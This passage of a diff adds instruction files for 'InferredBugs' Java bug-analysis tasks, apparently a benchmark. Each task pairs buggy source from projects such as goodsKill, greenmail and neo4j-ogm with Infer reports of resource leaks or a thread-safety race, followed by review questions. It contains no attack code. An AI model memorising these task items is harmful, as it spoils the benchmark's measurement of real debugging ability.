+Read/Write race. Non-private method `org.jenkinsci.plugins.ghprb.GhprbPullRequest.check` indirectly reads with synchronization from `n$4.org.jenkinsci.plugins.ghprb.GhprbTrigger$DescriptorImpl.githubAuth`. Potentially races with unsynchronized write in method `GhprbPullRequest.check(...)`.
+ Reporting because this access may occur on a background thread.
+
+Note that the prefix path n$4 has been contaminated during the execution, so the reported race on n$4.org.jenkinsci.plugins.ghprb.GhprbTrigger$DescriptorImpl.githubAuth might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GhprbPullRequest.check(GHIssueComment)
+
+### Procedure Id:
+org.jenkinsci.plugins.ghprb.GhprbPullRequest.check(org.kohsuke.github.GHIssueComment):void.a4bde69b29781ee9c8f07e0b8f0757d6
+
+### File:
+src/main/java/org/jenkinsci/plugins/ghprb/GhprbPullRequest.java
+
+### Key:
+GhprbPullRequest.java|check|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+3cfb6358b5d1089e9c0f5d36e4745433
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7383/instruction.md b/inferredbugs-7383/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..17009fc8e7f6ddd9bde78e8ce55ec989da95e64c
--- /dev/null
+++ b/inferredbugs-7383/instruction.md
@@ -0,0 +1,142 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** goodsKill
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.seckill.service.impl;
+
+import org.seckill.dao.GoodsDao;
+import org.seckill.entity.Goods;
+import org.seckill.exception.HengException;
+import org.seckill.service.GoodsService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+import org.springframework.web.multipart.commons.CommonsMultipartFile;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * Created by heng on 2017/1/7.
+ */
+@SuppressWarnings("ALL")
+@Service
+public class GoodsServiceImpl implements GoodsService {
+    @Autowired
+    private GoodsDao goodsDao;
+
+    @Override
+    public void uploadGoodsPhoto(CommonsMultipartFile file, long goodsId) {
+        String path = uploadGoodsPhoto(file);
+        goodsDao.updatePhotoUrl(goodsId, path);
+    }
+
+    @Override
+    public String getPhotoUrl(int goodsId) {
+        Goods good = goodsDao.selectById(goodsId);
+        return good.getPhotoUrl();
+    }
+
+    @Override
+    public void addGoods(Goods goods,CommonsMultipartFile file) {
+        String path = uploadGoodsPhoto(file);
+        goods.setPhotoUrl(path);
+        goodsDao.insert(goods);
+    }
+
+    private String uploadGoodsPhoto(CommonsMultipartFile file) {
+        final String s = "/Users/heng/java学习/";
+        String path = s + file.getOriginalFilename();
+        try {
+            String filePath = s;
+            File file_tmp = new File(filePath);
+            if (!file_tmp.exists() && !file_tmp.mkdirs()) {
+                throw new HengException("dir create error!");
+            }
+            FileOutputStream fos = new FileOutputStream(path);
+            InputStream is = file.getInputStream();
+            int b = 0;
+            while ((b = is.read()) != -1) {
+                fos.write(b);
+            }
+            fos.flush();
+            fos.close();
+            is.close();
+        } catch (IOException e) {
+            throw new HengException("上传文件异常");
+        }
+        return path;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileOutputStream` acquired to `fos` by call to `FileOutputStream(...)` at line 53 is not released after line 62.
+**Note**: potential exception at line 56
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String GoodsServiceImpl.uploadGoodsPhoto(CommonsMultipartFile)
+
+### Procedure Id:
+org.seckill.service.impl.GoodsServiceImpl.uploadGoodsPhoto(org.springframework.web.multipart.commons.aa74775cf4bcf534cca529054d25ac47
+
+### File:
+src/main/java/org/seckill/service/impl/GoodsServiceImpl.java
+
+### Key:
+GoodsServiceImpl.java|uploadGoodsPhoto|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+9874d5f5f6c6a316255869a34e26cb18
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7384/instruction.md b/inferredbugs-7384/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..193c72a5357ec0bd2c1ce609cacb6b0fa776f309
--- /dev/null
+++ b/inferredbugs-7384/instruction.md
@@ -0,0 +1,97 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** goodsKill
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.seckill.service;
+
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.context.support.AbstractApplicationContext;
+import org.springframework.context.support.ClassPathXmlApplicationContext;
+
+/**
+ * 服务启动类
+ * Created by techa03 on 2017/2/3.
+ */
+@Slf4j
+public class GoodsKillRpcServiceApplication {
+
+    public static void main(String[] args) {
+        log.info(">>>>> goodsKill-rpc-service 正在启动 <<<<<");
+        AbstractApplicationContext context= new ClassPathXmlApplicationContext(
+                "classpath*:META-INF/spring/spring-*.xml");
+        // 程序退出前优雅关闭JVM
+        context.registerShutdownHook();
+        context.start();
+        log.info(">>>>> goodsKill-rpc-service 启动完成 <<<<<");
+    }
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.springframework.context.support.ClassPathXmlApplicationContext` acquired by call to `new()` at line 16 is not released after line 20.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GoodsKillRpcServiceApplication.main(java.lang.String[])
+
+### Procedure Id:
+org.seckill.service.GoodsKillRpcServiceApplication.main(java.lang.String[]):void.e3228a6a5076940abb2c0feadf3d37f1
+
+### File:
+goodsKill-service/src/main/java/org/seckill/service/GoodsKillRpcServiceApplication.java
+
+### Key:
+GoodsKillRpcServiceApplication.java|main|RESOURCE_LEAK
+
+### Node Key:
+dd04d0a305ee9eb51297bdf6972eaa70
+
+### Hash:
+309626bd4165e8743dd01ed92037f9a2
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7409/instruction.md b/inferredbugs-7409/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1edc730c70f9c066cccde34c9d3f0f07325abf51
--- /dev/null
+++ b/inferredbugs-7409/instruction.md
@@ -0,0 +1,182 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** greenmail
+**Bug ID:** 23
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.icegreen.greenmail.test.commands;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.PrintStream;
+import java.net.Socket;
+
+import javax.mail.MessagingException;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import com.icegreen.greenmail.junit.GreenMailRule;
+import com.icegreen.greenmail.pop3.commands.AuthCommand;
+import com.icegreen.greenmail.user.UserException;
+import com.icegreen.greenmail.util.ServerSetupTest;
+
+public class POP3CommandTest {
+    private static final String CRLF = "\r\n";
+
+    @Rule
+    public final GreenMailRule greenMail = new GreenMailRule(ServerSetupTest.POP3);
+
+    private int port;
+    private String hostAddress;
+
+    @Before
+    public void setUp() {
+        hostAddress = greenMail.getPop3().getBindTo();
+        port = greenMail.getPop3().getPort();
+    }
+
+    @Test
+    public void authPlain() throws IOException, MessagingException, UserException {
+        try (Socket socket = new Socket(hostAddress, port)) {
+            assertThat(socket.isConnected()).isTrue();
+            PrintStream printStream = new PrintStream(socket.getOutputStream());
+            final BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
+
+            // No such user
+            assertThat(reader.readLine()).startsWith("+OK POP3 GreenMail Server v");
+            printStream.print("AUTH PLAIN dGVzdAB0ZXN0AHRlc3RwYXNz" + CRLF /* test / test / testpass */);
+            assertThat(reader.readLine()).isEqualTo("-ERR Authentication failed: User <test> doesn't exist");
+
+            greenMail.getManagers().getUserManager().createUser("test@localhost", "test", "testpass");
+
+            // Invalid pwd
+            printStream.print("AUTH PLAIN dGVzdAB0ZXN0AHRlc3RwY" + CRLF /* test / test / <invalid> */);
+            assertThat(reader.readLine()).isEqualTo(
+                    "-ERR Authentication failed, expected base64 encoding : Last unit does not have enough valid bits");
+
+            // Successful auth
+            printStream.print("AUTH PLAIN dGVzdAB0ZXN0AHRlc3RwYXNz" + CRLF /* test / test / <invalid> */);
+            assertThat(reader.readLine()).isEqualTo("+OK");
+        }
+    }
+
+    @Test
+    public void authPlainWithContinuation() throws IOException, UserException {
+        try (Socket socket = new Socket(hostAddress, port)) {
+            assertThat(socket.isConnected()).isTrue();
+            PrintStream printStream = new PrintStream(socket.getOutputStream());
+            final BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
+            greenMail.getManagers().getUserManager().createUser("test@localhost", "test", "testpass");
+
+            assertThat(reader.readLine()).startsWith("+OK POP3 GreenMail Server v");
+            printStream.print("AUTH PLAIN" + CRLF /* test / test / testpass */);
+            assertThat(reader.readLine()).isEqualTo(AuthCommand.CONTINUATION);
+            printStream.print("dGVzdAB0ZXN0AHRlc3RwYXNz" + CRLF /* test / test / <invalid> */);
+            assertThat(reader.readLine()).isEqualTo("+OK");
+        }
+    }
+
+    @Test
+    public void authDisabled() throws IOException, UserException {
+        try (Socket socket = new Socket(hostAddress, port)) {
+            assertThat(socket.isConnected()).isTrue();
+            PrintStream printStream = new PrintStream(socket.getOutputStream());
+            final BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
+
+            greenMail.getManagers().getUserManager().setAuthRequired(false);
+
+            assertThat(reader.readLine()).startsWith("+OK POP3 GreenMail Server v");
+            printStream.print("USER blar@blar.com" + CRLF);
+            assertThat(reader.readLine()).isEqualTo("+OK");
+        }
+    }
+
+    @Test
+    public void authEnabled() throws IOException, UserException {
+        try (Socket socket = new Socket(hostAddress, port)) {
+            assertThat(socket.isConnected()).isTrue();
+            PrintStream printStream = new PrintStream(socket.getOutputStream());
+            final BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
+
+            greenMail.getManagers().getUserManager().setAuthRequired(true);
+
+            assertThat(reader.readLine()).startsWith("+OK POP3 GreenMail Server v");
+            printStream.print("USER blar@blar.com" + CRLF);
+            assertThat(reader.readLine()).isNotEqualTo("+OK");
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 67 is not released after line 74.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void POP3CommandTest.authPlainWithContinuation()
+
+### Procedure Id:
+com.icegreen.greenmail.test.commands.POP3CommandTest.authPlainWithContinuation():void.62d274c2b8e98064f3182a1de032a38e
+
+### File:
+greenmail-core/src/test/java/com/icegreen/greenmail/test/commands/POP3CommandTest.java
+
+### Key:
+POP3CommandTest.java|authPlainWithContinuation|RESOURCE_LEAK
+
+### Node Key:
+cae3982ec48ebc2e71a637f9430f461a
+
+### Hash:
+2903d69eb5692f2a49119b8d25e310cc
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7510/instruction.md b/inferredbugs-7510/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..60f906d8e00b84db376f8a849d894d9dd6a44cd2
--- /dev/null
+++ b/inferredbugs-7510/instruction.md
@@ -0,0 +1,154 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-ogm
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2002-2015 "Neo Technology,"
+ * Network Engine for Objects in Lund AB [http://neotechnology.com]
+ *
+ * This product is licensed to you under the Apache License, Version 2.0 (the "License").
+ * You may not use this product except in compliance with the License.
+ *
+ * This product may include a number of subcomponents with
+ * separate copyright notices and license terms. Your use of the source
+ * code for these subcomponents is subject to the terms and
+ * conditions of the subcomponent's license, as noted in the LICENSE file.
+ *
+ */
+package org.neo4j.ogm.session.delegates;
+
+import java.util.Map;
+
+import org.apache.commons.lang.StringUtils;
+import org.neo4j.ogm.cypher.query.RowModelQueryWithStatistics;
+import org.neo4j.ogm.session.Capability;
+import org.neo4j.ogm.session.Neo4jSession;
+import org.neo4j.ogm.session.Utils;
+import org.neo4j.ogm.session.response.Neo4jResponse;
+import org.neo4j.ogm.session.result.QueryStatistics;
+import org.neo4j.ogm.session.result.RowQueryStatisticsResult;
+
+/**
+ * @author Vince Bickers
+ * @author Luanne Misquitta
+ */
+public class ExecuteStatementsDelegate implements Capability.ExecuteStatements {
+
+    private final Neo4jSession session;
+
+    public ExecuteStatementsDelegate(Neo4jSession neo4jSession) {
+        this.session = neo4jSession;
+    }
+
+    @Override
+    public QueryStatistics execute(String cypher, Map<String, Object> parameters) {
+        if (StringUtils.isEmpty(cypher)) {
+            throw new RuntimeException("Supplied cypher statement must not be null or empty.");
+        }
+
+        if (parameters == null) {
+            throw new RuntimeException("Supplied Parameters cannot be null.");
+        }
+        assertNothingReturned(cypher);
+        String url  = session.ensureTransaction().url();
+        // NOTE: No need to check if domain objects are parameters and flatten them to json as this is done
+        // for us using the existing execute() method.
+        RowModelQueryWithStatistics parameterisedStatement = new RowModelQueryWithStatistics(cypher, parameters);
+        try (Neo4jResponse<RowQueryStatisticsResult> response = session.requestHandler().execute(parameterisedStatement, url)) {
+            RowQueryStatisticsResult result = response.next();
+            return result == null ? null : result.getStats();
+        }
+    }
+
+    @Override
+    public QueryStatistics execute(String statement) {
+        if (StringUtils.isEmpty(statement)) {
+            throw new RuntimeException("Supplied cypher statement must not be null or empty.");
+        }
+        assertNothingReturned(statement);
+        RowModelQueryWithStatistics parameterisedStatement = new RowModelQueryWithStatistics(statement, Utils.map());
+        String url = session.ensureTransaction().url();
+        try (Neo4jResponse<RowQueryStatisticsResult> response = session.requestHandler().execute(parameterisedStatement, url)) {
+            RowQueryStatisticsResult result = response.next();
+            return result == null ? null : result.getStats();
+        }
+    }
+
+
+    private void assertNothingReturned(String cypher) {
+        if (cypher.toUpperCase().contains(" RETURN ")) {
+            throw new RuntimeException("execute() must not return data. Use query() instead.");
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.neo4j.ogm.session.transaction.SimpleTransaction` acquired by call to `ensureTransaction()` at line 49 is not released after line 49.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+QueryStatistics ExecuteStatementsDelegate.execute(String,Map)
+
+### Procedure Id:
+org.neo4j.ogm.session.delegates.ExecuteStatementsDelegate.execute(java.lang.String,java.util.Map):or.dcdbe904ea4f8f1a3f29d9d1587ac6c4
+
+### File:
+src/main/java/org/neo4j/ogm/session/delegates/ExecuteStatementsDelegate.java
+
+### Key:
+ExecuteStatementsDelegate.java|execute|RESOURCE_LEAK
+
+### Node Key:
+029cc97151e2d4d8a49f2551c8f2c484
+
+### Hash:
+eb9d81d9a6ec45cc4008de2cb065f106
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7517/instruction.md b/inferredbugs-7517/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..51d1fbbb798d74bb741cf16b669a08855b60f107
--- /dev/null
+++ b/inferredbugs-7517/instruction.md
@@ -0,0 +1,1042 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neo4j-ogm
+**Bug ID:** 54
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2002-2017 "Neo Technology,"
+ * Network Engine for Objects in Lund AB [http://neotechnology.com]
+ *
+ * This product is licensed to you under the Apache License, Version 2.0 (the "License").
+ * You may not use this product except in compliance with the License.
+ *
+ * This product may include a number of subcomponents with
+ * separate copyright notices and license terms. Your use of the source
+ * code for these subcomponents is subject to the terms and
+ *  conditions of the subcomponent's license, as noted in the LICENSE file.
+ */
+
+package org.neo4j.ogm.metadata;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.util.*;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.function.Predicate;
+import java.util.stream.Collectors;
+
+import org.neo4j.ogm.annotation.*;
+import org.neo4j.ogm.exception.MappingException;
+import org.neo4j.ogm.exception.MetadataException;
+import org.neo4j.ogm.id.IdStrategy;
+import org.neo4j.ogm.id.InternalIdStrategy;
+import org.neo4j.ogm.id.UuidStrategy;
+import org.neo4j.ogm.session.Neo4jException;
+import org.neo4j.ogm.utils.ClassUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+/**
+ * Maintains object to graph mapping details at the class (type) level
+ * The ClassInfo object is used to maintain mappings from Java Types-&gt;Neo4j Labels
+ * thereby allowing the correct labels to be applied to new nodes when they
+ * are persisted.
+ * The ClassInfo object also maintains a map of FieldInfo and MethodInfo objects
+ * that maintain the appropriate information for mapping Java class attributes to Neo4j
+ * node properties / paths (node)-[:relationship]-&gt;(node), via field or method
+ * accessors respectively.
+ * Given a type hierarchy, the ClassInfo object guarantees that for any type in that
+ * hierarchy, the labels associated with that type will include the labels for
+ * all its superclass and interface types as well. This is to avoid the need to iterate
+ * through the ClassInfo hierarchy to recover label information.
+ *
+ * @author Vince Bickers
+ * @author Luanne Misquitta
+ * @author Mark Angrish
+ */
+public class ClassInfo {
+
+    private static final Logger LOGGER = LoggerFactory.getLogger(ClassInfo.class);
+
+    private final List<ClassInfo> directSubclasses = new ArrayList<>();
+    private final List<ClassInfo> directInterfaces = new ArrayList<>();
+    private final List<ClassInfo> directImplementingClasses = new ArrayList<>();
+    private String className;
+    private String directSuperclassName;
+    private String neo4jName;
+    private boolean isInterface;
+    private boolean isAbstract;
+    private boolean isEnum;
+    private boolean hydrated;
+    private FieldsInfo fieldsInfo;
+    private MethodsInfo methodsInfo;
+    private AnnotationsInfo annotationsInfo;
+    private InterfacesInfo interfacesInfo;
+    private ClassInfo directSuperclass;
+    private Map<Class, List<FieldInfo>> iterableFieldsForType = new HashMap<>();
+    private Map<FieldInfo, Field> fieldInfoFields = new ConcurrentHashMap<>();
+    private volatile Set<FieldInfo> fieldInfos;
+    private volatile Map<String, FieldInfo> propertyFields;
+    private volatile Map<String, FieldInfo> indexFields;
+    private volatile LazyInstance<FieldInfo> identityField;
+    private volatile FieldInfo primaryIndexField = null;
+    private volatile FieldInfo labelField = null;
+    private volatile boolean labelFieldMapped = false;
+    private volatile boolean isPostLoadMethodMapped = false;
+    private volatile MethodInfo postLoadMethod;
+    private boolean primaryIndexFieldChecked = false;
+    private Class<?> cls;
+    private Class<? extends IdStrategy> idStrategyClass;
+    private IdStrategy idStrategy;
+
+    /**
+     * This class was referenced as a superclass of the given subclass.
+     *
+     * @param name the name of the class
+     * @param subclass {@link ClassInfo} of the subclass
+     */
+    ClassInfo(String name, ClassInfo subclass) {
+        this.className = name;
+        this.hydrated = false;
+        this.fieldsInfo = new FieldsInfo();
+        this.methodsInfo = new MethodsInfo();
+        this.annotationsInfo = new AnnotationsInfo();
+        this.interfacesInfo = new InterfacesInfo();
+        addSubclass(subclass);
+    }
+
+    public ClassInfo(Class<?> cls) {
+        this.cls = cls;
+        final int modifiers = cls.getModifiers();
+        this.isInterface = Modifier.isInterface(modifiers);
+        this.isAbstract = Modifier.isAbstract(modifiers);
+        this.isEnum = cls.isEnum();
+        this.className = cls.getName();
+
+        if (cls.getSuperclass() != null) {
+            this.directSuperclassName = cls.getSuperclass().getName();
+        }
+        this.interfacesInfo = new InterfacesInfo(cls);
+        this.fieldsInfo = new FieldsInfo(this, cls);
+        this.methodsInfo = new MethodsInfo(cls);
+        this.annotationsInfo = new AnnotationsInfo(cls);
+
+        if (isRelationshipEntity() && labelFieldOrNull() != null) {
+            throw new MappingException(String.format("'%s' is a relationship entity. The @Labels annotation can't be applied to " +
+                    "relationship entities.", name()));
+        }
+
+        for (FieldInfo fieldInfo : fieldsInfo().fields()) {
+            if (fieldInfo.hasAnnotation(Property.class) && fieldInfo.hasCompositeConverter()) {
+                throw new MappingException(String.format("'%s' has both @Convert and @Property annotations applied to the field '%s'",
+                        name(), fieldInfo.getName()));
+            }
+        }
+    }
+
+    /**
+     * A class that was previously only seen as a temp superclass of another class can now be fully hydrated.
+     *
+     * @param classInfoDetails ClassInfo details
+     */
+    void hydrate(ClassInfo classInfoDetails) {
+
+        if (!this.hydrated) {
+            this.hydrated = true;
+
+            this.isAbstract = classInfoDetails.isAbstract;
+            this.isInterface = classInfoDetails.isInterface;
+            this.isEnum = classInfoDetails.isEnum;
+            this.directSuperclassName = classInfoDetails.directSuperclassName;
+            this.cls = classInfoDetails.cls;
+
+            //this.interfaces.addAll(classInfoDetails.interfaces());
+
+            this.interfacesInfo.append(classInfoDetails.interfacesInfo());
+
+            this.annotationsInfo.append(classInfoDetails.annotationsInfo());
+            this.fieldsInfo.append(classInfoDetails.fieldsInfo());
+            this.methodsInfo.append(classInfoDetails.methodsInfo());
+        }
+    }
+
+    void extend(ClassInfo classInfo) {
+        this.interfacesInfo.append(classInfo.interfacesInfo());
+        this.fieldsInfo.append(classInfo.fieldsInfo());
+        this.methodsInfo.append(classInfo.methodsInfo());
+    }
+
+    /**
+     * Connect this class to a subclass.
+     *
+     * @param subclass the subclass
+     */
+    void addSubclass(ClassInfo subclass) {
+        if (subclass.directSuperclass != null && subclass.directSuperclass != this) {
+            throw new RuntimeException(subclass.className + " has two superclasses: " + subclass.directSuperclass.className + ", " + this.className);
+        }
+        subclass.directSuperclass = this;
+        this.directSubclasses.add(subclass);
+    }
+
+    boolean hydrated() {
+        return hydrated;
+    }
+
+    public String name() {
+        return className;
+    }
+
+    String simpleName() {
+        return className.substring(className.lastIndexOf('.') + 1);
+    }
+
+    public ClassInfo directSuperclass() {
+        return directSuperclass;
+    }
+
+    /**
+     * <p>
+     * Retrieves the static labels that are applied to nodes in the database. If the class' instances are persisted by
+     * a relationship instead of a node then this method returns an empty collection.
+     * </p>
+     * <p>
+     * Note that this method returns only the static labels. A node entity instance may declare additional labels
+     * manged at runtime by using the @Labels annotation on a collection field, therefore the full set of labels to be
+     * mapped to a node will be the static labels, in addition to any labels declared by the backing field of an
+     * {@link Labels} annotation.
+     * </p>
+     *
+     * @return A {@link Collection} of all the static labels that apply to the node or an empty list if there aren't
+     * any, never <code>null</code>
+     */
+    public Collection<String> staticLabels() {
+        return collectLabels(new ArrayList<>());
+    }
+
+    public String neo4jName() {
+        if (neo4jName == null) {
+            AnnotationInfo annotationInfo = annotationsInfo.get(NodeEntity.class);
+            if (annotationInfo != null) {
+                neo4jName = annotationInfo.get(NodeEntity.LABEL, simpleName());
+                return neo4jName;
+            }
+            annotationInfo = annotationsInfo.get(RelationshipEntity.class);
+            if (annotationInfo != null) {
+                neo4jName = annotationInfo.get(RelationshipEntity.TYPE, simpleName().toUpperCase());
+                return neo4jName;
+            }
+            neo4jName = simpleName();
+        }
+        return neo4jName;
+    }
+
+    private Collection<String> collectLabels(Collection<String> labelNames) {
+        if (!isAbstract || annotationsInfo.get(NodeEntity.class) != null) {
+            labelNames.add(neo4jName());
+        }
+        if (directSuperclass != null && !"java.lang.Object".equals(directSuperclass.className)) {
+            directSuperclass.collectLabels(labelNames);
+        }
+        for (ClassInfo interfaceInfo : directInterfaces()) {
+            interfaceInfo.collectLabels(labelNames);
+        }
+        return labelNames;
+    }
+
+    List<ClassInfo> directSubclasses() {
+        return directSubclasses;
+    }
+
+    List<ClassInfo> directImplementingClasses() {
+        return directImplementingClasses;
+    }
+
+    List<ClassInfo> directInterfaces() {
+        return directInterfaces;
+    }
+
+    InterfacesInfo interfacesInfo() {
+        return interfacesInfo;
+    }
+
+    public Collection<AnnotationInfo> annotations() {
+        return annotationsInfo.list();
+    }
+
+    public boolean isInterface() {
+        return isInterface;
+    }
+
+    public boolean isEnum() {
+        return isEnum;
+    }
+
+    public AnnotationsInfo annotationsInfo() {
+        return annotationsInfo;
+    }
+
+    String superclassName() {
+        return directSuperclassName;
+    }
+
+    public FieldsInfo fieldsInfo() {
+        return fieldsInfo;
+    }
+
+    MethodsInfo methodsInfo() {
+        return methodsInfo;
+    }
+
+
+    public FieldInfo identityFieldOrNull() {
+        initIdentityField();
+        return identityField.get();
+    }
+
+    /**
+     * The identity field is a field annotated with @NodeId, or if none exists, a field
+     * of type Long called 'id'
+     *
+     * @return A {@link FieldInfo} object representing the identity field never <code>null</code>
+     * @throws MappingException if no identity field can be found
+     */
+    public FieldInfo identityField() {
+        initIdentityField();
+        FieldInfo field = identityField.get();
+        if (field == null) {
+            throw new MetadataException("No internal identity field found for class: " + this.className);
+        }
+        return field;
+    }
+
+    private void initIdentityField() {
+        if (identityField == null) {
+            identityField = new LazyInstance<>(() -> {
+                Collection<FieldInfo> identityFields = getFieldInfos(this::isInternalIdentity);
+                if (identityFields.size() == 1) {
+                    return identityFields.iterator().next();
+                }
+                if (identityFields.size() > 1) {
+                    throw new MetadataException("Expected exactly one internal identity field (@GraphId or @Id with " +
+                            "InternalIdStrategy), found " + identityFields.size() + " " + identityFields);
+                }
+                FieldInfo fieldInfo = fieldsInfo().get("id");
+                if (fieldInfo != null) {
+                    if (fieldInfo.getTypeDescriptor().equals("java.lang.Long")) {
+                        return fieldInfo;
+                    }
+                }
+                return null;
+            });
+        }
+    }
+
+    public boolean hasIdentityField() {
+        initIdentityField();
+        return identityField.exists();
+    }
+
+    // Identity field
+    private boolean isInternalIdentity(FieldInfo fieldInfo) {
+        return fieldInfo.getAnnotations().has(GraphId.class) ||
+                (fieldInfo.getAnnotations().has(Id.class) &&
+                        fieldInfo.getAnnotations().has(GeneratedValue.class) &&
+                        ((GeneratedValue) fieldInfo.getAnnotations().get(GeneratedValue.class).getAnnotation())
+                                .strategy().equals(InternalIdStrategy.class)
+                );
+    }
+
+    Collection<FieldInfo> getFieldInfos(Predicate<FieldInfo> predicate) {
+        return fieldsInfo().fields().stream()
+                .filter(predicate)
+                .collect(Collectors.toSet());
+    }
+
+    /**
+     * The label field is an optional field annotated with @Labels.
+     *
+     * @return A {@link FieldInfo} object representing the label field. Optionally <code>null</code>
+     */
+    public FieldInfo labelFieldOrNull() {
+        if (labelFieldMapped) {
